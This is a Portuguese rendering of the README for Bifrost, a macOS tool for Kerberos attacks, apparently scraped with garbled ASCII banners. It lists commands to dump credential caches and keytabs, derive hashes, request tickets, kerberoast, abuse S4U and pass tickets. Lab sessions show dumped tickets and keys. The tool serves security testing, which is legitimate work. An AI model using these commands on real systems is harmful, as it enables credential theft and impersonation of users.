
Biblioteca Objective-C e console para interagir com APIs Heimdal para Kerberos no macOS
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(__/'()() () \___/'(____/_)
Usage: ./bifrost -action [dump | list | askhash | describe | asktgt | asktgs | s4u | ptt | remove] For dump action: -source [tickets | keytab] for keytab, optional -path to specify a keytab for tickets, optional -name to specify a ccache entry to dump For list action: no other options are necessary For askhash action: -username a.test -password 'mypassword' -domain DOMAIN.COM optionally specify -enctype [aes256 | aes128 | rc4] or get all of them optionally specify -bpassword 'base64 of password' in case there might be issues with parsing or special characters For asktgt action: -username a.test -domain DOMAIN.COM if using a plaintext password, specify -password 'password' if using a hash, specify -enctype [aes256 | aes128 | rc4] -hash [hash_here] optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 if using a keytab, specify -enctype and -keytab [keytab path] to pull a specific hash from the keytab optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 For describe action: -ticket base64KirbiTicket For asktgs action: -ticket [base64 of TGT] -service [comma separated list of SPNs] optionally specify -connectDomain to connect to a domain other than the one specified in the ticket optionally specify -serviceDomain to request a service ticket in a domain other than the one specified in the ticket optionally specify -kerberoast true to indicate a request for rc4 instead of aes256 For s4u: -ticket [base64 of TGT] -targetUser [target user in current domain, or targetuser@domain for a different domain] -spn [target SPN] (if this isn't specified, just a forwardable S4U2Self ticket is requested as targetUser) optionally specify -connectDomain [domain or host to connect to] For ptt: -ticket [base64 of kirbi ticket] optionally specify -name [name] to import the ticket into a specific credential cache optionally specify -name new to import the ticket into a new credential cache For remove: for tickets: -source tickets -name [name here] (removes an entire ccache) for keytabs: -source keytab -principal [principal name] (removes all entries for that principal) for keytabs: optionally specify -name to not use the default keytab you can't remove a specific ccache principal entry since it seems to not be implemented in heimdal
# Índice
- [Visão Geral](#overview)
- comandos
- [list](#list)
- [dump](#dump)
- [tickets](#tickets)
- [keytab](#keytab)
- [askhash](#askhash)
- [asktgt](#asktgt)
- [com senha em texto plano](#with-plaintext-password)
- [com hash](#with-hash)
- [com entrada keytab](#with-keytab-entry)
- [describe](#describe)
- [asktgs](#asktgs)
- [domínios diferentes](#different-domains)
- [kerberoasting](#kerberoasting)
- [s4u](#s4u)
- [ptt](#ptt)
- [remove](#remove)
- [cache de credenciais](#credential-cache)
- [entrada keytab](#keytab-entry)
## Visão Geral
Bifrost é um projeto em Objective-C projetado para interagir com as APIs Heimdal krb5 no macOS. Bifrost compila em uma biblioteca estática (mas você pode alterar para um dylib se necessário), e bifrostconsole é um projeto de console simples que utiliza a biblioteca Bifrost. O objetivo do projeto é permitir melhores testes de segurança relacionados ao Kerberos em dispositivos macOS usando APIs nativas, sem exigir qualquer outro framework ou pacote no alvo.
Como isso precisa ser compilado em um Mac, e isso pode não estar facilmente disponível para todos para fins de teste, incluí uma versão compilada do console e da biblioteca na pasta "compiled_binaries". Como estas são pré-compiladas, espere que sejam fortemente assinadas e utilizáveis apenas para fins de teste pessoal.
## list
O comando `-action list` irá percorrer todos os caches de credenciais na memória e fornecer informações básicas sobre cada cache e cada entrada dentro dele. Também identificará o cache padrão com o marcador `[*]` e cada outro cache com o marcador `[+]`.```
spooky:~ lab_admin$ ./bifrost -action list
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Principal: [email protected]
Name: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
Issued Expires Principal Flags
2019-11-13 18:00:20PST 2019-11-14 04:00:20PST krbtgt/[email protected] (forwardable renewable initial pre-auth )
1970-12-31 16:00:00PST 2019-12-13 18:00:21PST krb5_ccache_conf_data/kcm-status@X-CACHECONF: ()
O comando -action dump pode extrair informações sobre keytabs ou caches de credenciais com base nas flags.
Para despejar tickets especificamente, use -source tickets. Por padrão, isso irá apenas iterar pelo cache de credenciais padrão. O cache de credenciais padrão pode ser identificado com o comando -action list e procurando pelo cache identificado com um marcador [*]. Para despejar um cache de credenciais específico, use a flag -name [nome aqui].
Cada ticket será descrito e despejado em um formato Kirbi base64 que pode então ser usado para outros comandos ou com outras ferramentas no Windows.``` spooky:~ lab_admin$ ./bifrost -action dump -source tickets
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
Client: [email protected] Principal: krbtgt/LAB.[email protected] Key enctype: aes256 Key: DUpykxCguZ9JtWML38nygb5Yyhvd1nGvy+MGReD7sXU= (0D4A729310A0B99F49B5630BDFC9F281BE58CA1BDDD671AFCBE30645E0FBB175) Expires: 2019-11-14 12:00:20 GMT Flags: forwardable renewable initial pre-auth Kirbi: doIFIDCCBRygBgIEAAA<...snip...>TE9DQUw=
Client: [email protected] Principal: krb5_ccache_conf_data/kcm-status@X-CACHECONF: Key enctype: 0 Key: () Expires: 2019-12-14 02:00:21 GMT Flags: Principal type: kcm-status Ticket Data: a3JiNQAAAAEAAAAA
### keytab
Para despejar chaves keytab, use o parâmetro `-source keytab`. Por padrão, isso tentará despejar informações do keytab padrão (`/etc/krb5.keytab`) que é legível apenas pelo root. Para especificar outro keytab, use o argumento `-path /path/to/keytab`.
Cada entrada do keytab será descrita e a chave será despejada em base64 e hex.```
spooky:~ lab_admin$ ./bifrost -action dump -source keytab -path test
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)